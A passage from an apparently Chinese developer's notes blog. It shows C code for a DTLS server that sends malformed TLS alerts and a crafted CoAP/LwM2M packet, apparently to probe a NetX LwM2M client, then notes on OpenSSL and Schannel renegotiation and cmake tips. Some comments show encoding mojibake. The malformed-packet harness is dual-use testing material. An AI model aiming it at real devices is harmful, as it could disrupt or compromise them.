BIO_CB_WRITE) &#123;</span><br><span class="line">        <span class="keyword">if</span> (g_need_change) &#123;</span><br><span class="line">            <span class="type">char</span>* data = (<span class="type">char</span>*)argp;</span><br><span class="line">            *data = <span class="number">21</span>;<span class="comment">// NX_SECURE_TLS_ALERT</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> pack(push,1)</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">handle_lwm2m_protocol</span><span class="params">(SSL* ssl)</span> &#123;</span><br><span class="line">    <span class="type">char</span>* buffer = (<span class="type">char</span>*)<span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x1000</span>);</span><br><span class="line">    <span class="type">char</span>* data = buffer;</span><br><span class="line">    <span class="type">int</span> data_length = <span class="number">0</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> written = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    data = buffer;</span><br><span class="line">    *(data) = <span class="number">0</span>;<span class="comment">// not NX_SECURE_TLS_ALERT_LEVEL_WARNING</span></span><br><span class="line">    *(data + <span class="number">1</span>) = <span class="number">1</span>;<span class="comment">// not NX_SECURE_TLS_ALERT_CLOSE_NOTIFY</span></span><br><span class="line">    data_length = <span class="number">2</span>;</span><br><span class="line">    </span><br><span class="line">    ssl-&gt;method-&gt;ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &amp;written);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//SSL_read(ssl, buffer, 0x1000);</span></span><br><span class="line">    Sleep(<span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">coap_header</span> &#123;</span></span><br><span class="line">        <span class="type">char</span> token_length : <span class="number">4</span>;</span><br><span class="line">        <span class="type">char</span> type : <span class="number">4</span>;</span><br><span class="line">        <span class="type">char</span> code;</span><br><span class="line">        <span class="type">short</span> id;<span class="comment">// ´ó¶ËÐò</span></span><br><span class="line"></span><br><span class="line">    &#125; *header;</span><br><span class="line">    header = (<span class="keyword">struct</span> coap_header *)buffer;</span><br><span class="line">    header-&gt;type = <span class="number">4</span>;<span class="comment">// NX_LWM2M_CLIENT_COAP_VERSION_1</span></span><br><span class="line">    header-&gt;code = <span class="number">2</span>; <span class="comment">// NX_LWM2M_CLIENT_COAP_REQUEST_POST</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ±ä³¤µÄ½á¹¹Ìå coap option header</span></span><br><span class="line">    data = buffer + <span class="number">4</span>;</span><br><span class="line">    *(<span class="type">unsigned</span> <span class="type">char</span>*)data = (<span class="number">11</span>&lt;&lt;<span class="number">4</span>)|(<span class="number">2</span>);<span class="comment">// 11:NX_LWM2M_CLIENT_COAP_OPTION_URI_PATH, 2 for value length</span></span><br><span class="line">    *(data + <span class="number">1</span>) = <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line">    *(data + <span class="number">2</span>) = <span class="string">&#x27;s&#x27;</span>;</span><br><span class="line">    *(<span class="type">unsigned</span> <span class="type">char</span>*)(data+<span class="number">3</span>) = <span class="number">0xff</span>;<span class="comment">// 0xff:NX_LWM2M_CLIENT_COAP_PAYLOAD_MARKER, for NX_LWM2M_CLIENT_COAP_OPTION_NONE;</span></span><br><span class="line">    data_length = <span class="number">4</span> + <span class="number">4</span>;</span><br><span class="line">    SSL_write(ssl, buffer, data_length);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//SSL_read(ssl, buffer, 0x1000);</span></span><br><span class="line"></span><br><span class="line">    data = buffer;</span><br><span class="line">    *(data) = <span class="number">0</span>;<span class="comment">// not NX_SECURE_TLS_ALERT_LEVEL_WARNING</span></span><br><span class="line">    *(data + <span class="number">1</span>) = <span class="number">1</span>;<span class="comment">// not NX_SECURE_TLS_ALERT_CLOSE_NOTIFY</span></span><br><span class="line">    data_length = <span class="number">2</span>;</span><br><span class="line">    ssl-&gt;method-&gt;ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &amp;written);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> pack(pop)</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>** argv)</span></span><br><span class="line">&#123;</span><br><span class="line">    SSL_CTX* ctx;</span><br><span class="line">    SSL* ssl;</span><br><span class="line">    BIO* bio;</span><br><span class="line">    <span class="type">int</span> ret;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Initialize OpenSSL */</span></span><br><span class="line">    SSL_library_init();</span><br><span class="line">    SSL_load_error_strings();</span><br><span class="line">    <span class="type">int</span> iResult;</span><br><span class="line">    WSADATA wsaData;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Initialize Winsock</span></span><br><span class="line">    iResult = WSAStartup(MAKEWORD(<span class="number">2</span>, <span class="number">2</span>), &amp;wsaData);</span><br><span class="line">    <span class="keyword">if</span> (iResult != <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;WSAStartup failed: %d\n&quot;</span>, iResult);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Create a new DTLS context */</span></span><br><span class="line">    ctx = SSL_CTX_new(DTLSv1_2_server_method());</span><br><span class="line">    <span class="keyword">if</span> (ctx == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error creating DTLS context\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Set the PSK callback */</span></span><br><span class="line">    SSL_CTX_set_psk_server_callback(ctx, psk_server_cb);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//SSL_CTX_set_msg_callback(ctx, message_cb);</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Set the cipher list to include only PSK-AES128-CCM8 */</span></span><br><span class="line">    <span class="keyword">if</span> (SSL_CTX_set_cipher_list(ctx, <span class="string">&quot;PSK-AES128-CCM8&quot;</span>) != <span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error setting cipher list\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Create a new socket */</span></span><br><span class="line">    SOCKET sock = socket(AF_INET, SOCK_DGRAM, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (sock &lt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error creating socket\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Bind the socket to the specified port */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">addr</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;addr, <span class="number">0</span>, <span class="keyword">sizeof</span>(addr));</span><br><span class="line">    addr.sin_family = AF_INET;</span><br><span class="line">    addr.sin_port = htons(<span class="number">5784</span>);</span><br><span class="line">    addr.sin_addr.s_addr = INADDR_ANY;</span><br><span class="line">    <span class="keyword">if</span> (bind(sock, (<span class="keyword">struct</span> sockaddr*)&amp;addr, <span class="keyword">sizeof</span>(addr)) &lt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error binding socket, %d\n&quot;</span>, GetLastError());</span><br><span class="line">        WSACleanup();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Create a new DTLS connection */</span></span><br><span class="line">    bio = BIO_new_dgram(sock, BIO_NOCLOSE);</span><br><span class="line">    <span class="keyword">if</span> (bio == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error creating DTLS connection\n&quot;</span>);</span><br><span class="line">        WSACleanup();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ssl = SSL_new(ctx);</span><br><span class="line">    <span class="keyword">if</span> (ssl == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error creating DTLS connection\n&quot;</span>);</span><br><span class="line">        WSACleanup();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    SSL_set_bio(ssl, bio, bio);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Set the DTLS cookie generation and verification callbacks */</span></span><br><span class="line">    SSL_CTX_set_cookie_generate_cb(ctx, generate_cookie);</span><br><span class="line">    SSL_CTX_set_cookie_verify_cb(ctx, verify_cookie);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//BIO_set_callback(bio, send_callback);</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Wait for a DTLS client to connect */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_storage</span> <span class="title">client_addr</span> =</span> &#123; <span class="number">0</span> &#125;;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Waiting for DTLS client to connect...\n&quot;</span>);</span><br><span class="line">    <span class="keyword">do</span> &#123;</span><br><span class="line">        ret = DTLSv1_listen(ssl, (BIO_ADDR *) &amp; client_addr);</span><br><span class="line">        <span class="keyword">if</span> (ret == <span class="number">-1</span>) &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;Error: %s\n&quot;</span>, ERR_error_string(ERR_get_error(), <span class="literal">NULL</span>));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">while</span> (ret &lt;= <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Perform the DTLS handshake */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Performing DTLS handshake...\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (SSL_accept(ssl) &lt;= <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error performing DTLS handshake\n&quot;</span>);</span><br><span class="line">        WSACleanup();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;DTLS handshake complete\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Communicate with the DTLS client */</span></span><br><span class="line">    <span class="comment">/* ... */</span></span><br><span class="line"></span><br><span class="line">    handle_lwm2m_protocol(ssl);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Clean up */</span></span><br><span class="line">    SSL_free(ssl);</span><br><span class="line">    SSL_CTX_free(ctx);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="openssl-renegotiate"><a href="#openssl-renegotiate" class="headerlink" title="openssl renegotiate"></a>openssl renegotiate</h3><p>当完成tls握手后, 如果你想触发renegotiate操作, 可以如下操作:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> ret = SSL_renegotiate(ssl);</span><br><span class="line"><span class="keyword">if</span> (ret) &#123;</span><br><span class="line">    ret = SSL_do_handshake(ssl);<span class="comment">// 发送 hello request请求</span></span><br><span class="line">    <span class="keyword">if</span> (ret) &#123;</span><br><span class="line">        SSL_read(ssl, buffer, <span class="number">1024</span>);<span class="comment">// 如果目标发的消息没有处理完, 不会进行握手</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>SSL_renegotiate</code> 设置重协商标志, <code>SSL_do_handshake</code> 发送加密的hello request请求. 如果client正常处理, 就应该返回一个加密的hello消息. 后续, 调用<code>SSL_read</code> 来触发新的握手协商. <strong>需要注意的时, 如果连接里有未读取的数据, 需要读到client回执的hello消息时才会触发握手操作!</strong></p><p>如果只是想简单测试, 可以用openssl程序实现, 下面的命令加载一个openssl server, 读取密钥和证书, 监听443.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; openssl.exe s_server -accept 443 -cert D:\tmp\cert.pem -key D:\tmp\key.pem</span><br><span class="line">Using default temp DH parameters</span><br><span class="line">ACCEPT</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>输入<code>r</code>然后按<code>Enter</code>, 就可以让server给client发送重协商操作. </p><p>参考:</p><p><a href="https://mp.weixin.qq.com/s/-27X5ZHTeA05r2hquHjy6Q">tls重协商攻击</a></p><p><a href="https://www.linuxjournal.com/article/5487">An Introduction to OpenSSL Programming, Part II of II</a>, 这个文章很老旧了, 代码会有不对的地方.</p><h3 id="schannel-renegotiate的实现"><a href="#schannel-renegotiate的实现" class="headerlink" title="schannel renegotiate的实现"></a>schannel renegotiate的实现</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">Renegotiation</span><span class="params">(SOCKET Server_Socket)</span> &#123;</span><br><span class="line">    TimeStamp         Lifetime;</span><br><span class="line">    SecBufferDesc     OutBuffDesc;</span><br><span class="line">    SecBuffer         OutSecBuff[<span class="number">2</span>];</span><br><span class="line">    SecBufferDesc     InBuffDesc;</span><br><span class="line">    SecBuffer         InSecBuff[<span class="number">2</span>];</span><br><span class="line">    ULONG             Attribs = <span class="number">0</span>;</span><br><span class="line">    SECURITY_STATUS           Status;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> cbIn = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    SecBufferDesc   OutBuffer;</span><br><span class="line">    SecBuffer       OutBuffers[<span class="number">1</span>];</span><br><span class="line">    DWORD           dwSSPIFlags;</span><br><span class="line">    DWORD           dwSSPIOutFlags;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//DWORD dwType = SCHANNEL_RENEGOTIATE;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//OutBuffers[0].pvBuffer = &amp;dwType;</span></span><br><span class="line">    <span class="comment">//OutBuffers[0].BufferType = SECBUFFER_TOKEN;</span></span><br><span class="line">    <span class="comment">//OutBuffers[0].cbBuffer = sizeof(dwType);</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//OutBuffer.cBuffers = 1;</span></span><br><span class="line">    <span class="comment">//OutBuffer.pBuffers = OutBuffers;</span></span><br><span class="line">    <span class="comment">//OutBuffer.ulVersion = SECBUFFER_VERSION;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//Status = ApplyControlToken(&amp;hctxt, &amp;OutBuffer);</span></span><br><span class="line">    <span class="comment">//if (FAILED(Status)) &#123;</span></span><br><span class="line">    <span class="comment">//    SetLastError(Status);</span></span><br><span class="line">    <span class="comment">//    LogError(&quot;fail to get controll data&quot;);</span></span><br><span class="line">    <span class="comment">//    return 0;</span></span><br><span class="line">    <span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line">    dwSSPIFlags = ASC_REQ_SEQUENCE_DETECT |</span><br><span class="line">        ASC_REQ_REPLAY_DETECT |</span><br><span class="line">        ASC_REQ_CONFIDENTIALITY |</span><br><span class="line">        ASC_REQ_EXTENDED_ERROR |</span><br><span class="line">        ASC_REQ_ALLOCATE_MEMORY |</span><br><span class="line">        ASC_REQ_STREAM;</span><br><span class="line"></span><br><span class="line">    InSecBuff[<span class="number">0</span>].BufferType = SECBUFFER_EMPTY;</span><br><span class="line">    InSecBuff[<span class="number">0</span>].pvBuffer = <span class="literal">NULL</span>;</span><br><span class="line">    InSecBuff[<span class="number">0</span>].cbBuffer = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    InBuffDesc.ulVersion = SECBUFFER_VERSION;</span><br><span class="line">    InBuffDesc.cBuffers = <span class="number">1</span>;</span><br><span class="line">    InBuffDesc.pBuffers = InSecBuff;</span><br><span class="line"></span><br><span class="line">    OutBuffers[<span class="number">0</span>].BufferType = SECBUFFER_TOKEN;</span><br><span class="line">    OutBuffers[<span class="number">0</span>].pvBuffer = <span class="literal">NULL</span>;</span><br><span class="line">    OutBuffers[<span class="number">0</span>].cbBuffer = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    OutBuffer.ulVersion = SECBUFFER_VERSION;</span><br><span class="line">    OutBuffer.cBuffers = <span class="number">1</span>;</span><br><span class="line">    OutBuffer.pBuffers = OutBuffers;</span><br><span class="line"></span><br><span class="line">    Status = AcceptSecurityContext(</span><br><span class="line">        &amp;hcred,</span><br><span class="line">        &amp;hctxt,</span><br><span class="line">        &amp;InBuffDesc,</span><br><span class="line">        dwSSPIFlags,</span><br><span class="line">        SECURITY_NATIVE_DREP,</span><br><span class="line">        <span class="literal">NULL</span>,</span><br><span class="line">        &amp;OutBuffer,</span><br><span class="line">        &amp;dwSSPIOutFlags,</span><br><span class="line">        &amp;Lifetime);</span><br><span class="line">    <span class="keyword">if</span> (FAILED(Status)) &#123;</span><br><span class="line">        SetLastError(Status);</span><br><span class="line">        LogError(<span class="string">&quot;fail to get hello&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 发送hello request 给client, client解密后会是SEC_I_RENEGOTIATE, 会调用InitializeSecurityContext, 然后发送消息过来</span></span><br><span class="line">    <span class="keyword">if</span> (!SendBytes(</span><br><span class="line">        Server_Socket,</span><br><span class="line">        (BYTE*)(OutBuffers[<span class="number">0</span>].pvBuffer),</span><br><span class="line">        OutBuffers[<span class="number">0</span>].cbBuffer))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;send message failed. \n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!ReceiveMsg(<span class="comment">// 接收client发来的加密hello消息</span></span><br><span class="line">        Server_Socket,</span><br><span class="line">        g_pInBuf,</span><br><span class="line">        g_cbMaxMessage,</span><br><span class="line">        &amp;cbIn))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span>(FALSE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    SecBuffer security_buffers[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">    SecBufferDesc security_buffers_desc;</span><br><span class="line">    security_buffers[<span class="number">0</span>].BufferType = SECBUFFER_DATA;</span><br><span class="line">    security_buffers[<span class="number">0</span>].pvBuffer = g_pInBuf;</span><br><span class="line">    security_buffers[<span class="number">0</span>].cbBuffer = cbIn;</span><br><span class="line">    security_buffers[<span class="number">1</span>].BufferType = SECBUFFER_EMPTY;</span><br><span class="line">    security_buffers[<span class="number">2</span>].BufferType = SECBUFFER_EMPTY;</span><br><span class="line">    security_buffers[<span class="number">3</span>].BufferType = SECBUFFER_EMPTY;</span><br><span class="line"></span><br><span class="line">    security_buffers_desc.cBuffers = <span class="keyword">sizeof</span>(security_buffers) / <span class="keyword">sizeof</span>(security_buffers[<span class="number">0</span>]);</span><br><span class="line">    security_buffers_desc.pBuffers = security_buffers;</span><br><span class="line">    security_buffers_desc.ulVersion = SECBUFFER_VERSION;</span><br><span class="line"></span><br><span class="line">    Status = DecryptMessage(&amp;hctxt, &amp;security_buffers_desc, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (Status != SEC_I_RENEGOTIATE) &#123;<span class="comment">// 解密后应该是SEC_I_RENEGOTIATE消息</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    SecBuffer* pDataBuffer = <span class="literal">NULL</span>;</span><br><span class="line">    SecBuffer* pExtraBuffer = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt; <span class="number">4</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (pDataBuffer == <span class="literal">NULL</span> &amp;&amp; security_buffers[i].BufferType == SECBUFFER_DATA) &#123;</span><br><span class="line">            pDataBuffer = &amp;security_buffers[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (pExtraBuffer == <span class="literal">NULL</span> &amp;&amp; security_buffers[i].BufferType == SECBUFFER_EXTRA) &#123;</span><br><span class="line">            pExtraBuffer = &amp;security_buffers[i];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//----------------------------------------------------------------</span></span><br><span class="line">    <span class="comment">//  Prepare output buffers.</span></span><br><span class="line"></span><br><span class="line">    OutBuffDesc.ulVersion = SECBUFFER_VERSION;</span><br><span class="line">    OutBuffDesc.cBuffers = <span class="number">1</span>;</span><br><span class="line">    OutBuffDesc.pBuffers = OutSecBuff;</span><br><span class="line"></span><br><span class="line">    OutSecBuff[<span class="number">0</span>].cbBuffer = <span class="number">0</span>;</span><br><span class="line">    OutSecBuff[<span class="number">0</span>].BufferType = SECBUFFER_TOKEN;</span><br><span class="line">    OutSecBuff[<span class="number">0</span>].pvBuffer = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//OutSecBuff[1].cbBuffer = 0;</span></span><br><span class="line">    <span class="comment">//OutSecBuff[1].BufferType = SECBUFFER_EMPTY;</span></span><br><span class="line">    <span class="comment">//OutSecBuff[1].pvBuffer = NULL;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//----------------------------------------------------------------</span></span><br><span class="line">    <span class="comment">//  Prepare input buffers.</span></span><br><span class="line"></span><br><span class="line">    InBuffDesc.ulVersion = SECBUFFER_VERSION;</span><br><span class="line">    InBuffDesc.cBuffers = <span class="number">2</span>;</span><br><span class="line">    InBuffDesc.pBuffers = InSecBuff;</span><br><span class="line"></span><br><span class="line">    InSecBuff[<span class="number">0</span>].cbBuffer = pExtraBuffer-&gt;cbBuffer;</span><br><span class="line">    InSecBuff[<span class="number">0</span>].BufferType = SECBUFFER_TOKEN;</span><br><span class="line">    InSecBuff[<span class="number">0</span>].pvBuffer = pExtraBuffer-&gt;pvBuffer;</span><br><span class="line">    InSecBuff[<span class="number">1</span>].cbBuffer = <span class="number">0</span>;</span><br><span class="line">    InSecBuff[<span class="number">1</span>].BufferType = SECBUFFER_EMPTY;</span><br><span class="line">    InSecBuff[<span class="number">1</span>].pvBuffer = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Token buffer received (%lu bytes):\n&quot;</span>, InSecBuff[<span class="number">0</span>].cbBuffer);</span><br><span class="line">    PrintHexDump(InSecBuff[<span class="number">0</span>].cbBuffer, (PBYTE)InSecBuff[<span class="number">0</span>].pvBuffer);</span><br><span class="line"></span><br><span class="line">    Status = AcceptSecurityContext( </span><br><span class="line">        &amp;hcred,</span><br><span class="line">        &amp;hctxt,</span><br><span class="line">        &amp;InBuffDesc,</span><br><span class="line">        dwSSPIFlags,</span><br><span class="line">        SECURITY_NATIVE_DREP,<span class="comment">// not used according doc</span></span><br><span class="line">        &amp;hctxt,</span><br><span class="line">        &amp;OutBuffDesc,</span><br><span class="line">        &amp;dwSSPIFlags,</span><br><span class="line">        &amp;Lifetime);</span><br><span class="line"><span class="comment">// 这里会出错, 不清楚原因.</span></span><br><span class="line">    <span class="keyword">if</span> (Status &amp; <span class="number">0x80000000</span>) &#123;</span><br><span class="line">        LogError(<span class="string">&quot;fail to say hello&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    ......</span><br></pre></td></tr></table></figure><p>这段代码应该是这么写的, 但是我自己跑的时候, 在第二次的<code>AcceptSecurityContext</code>会遇到解密错误, 暂时不清楚原因, 但是网络上又找不到相关的实现做一个参考, 所以列出来希望对人有帮助.</p><p>参考:</p><p><a href="https://microsoft.public.platformsdk.security.narkive.com/4xhIBWZi/schannel-and-session-renegotiation">Schannel and Session Renegotiation </a></p><p><a href="https://learn.microsoft.com/en-us/windows/win32/secauthn/renegotiating-an-schannel-connection">Renegotiating an Schannel Connection</a></p><h2 id="cmake"><a href="#cmake" class="headerlink" title="cmake"></a>cmake</h2><p>获取某个git项目下的依赖git项目: <code>git submodule update --init --recursive</code></p><p><code>cmake -DXXXX=ON ./</code> 表示开启XXXX特性, 生成makefile. XXXX特性由CMakeLists.txt定义, 形式如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">option(suppress_header_searches &quot;do not try to find headers - used when compiler check will fail&quot; OFF)</span><br></pre></td></tr></table></figure><p>表示接受参数<code>-Dsuppress_header_searches=ON</code>, 默认是<code>OFF</code>.</p><p>生成makefile后, 执行<code>cmake --build .</code>编译</p>]]></content>
    
    
      
      
    <summary type="html">&lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;blockquote&gt;
&lt;p&gt;不定期更新&lt;/p&gt;
&lt;/blockquote&gt;
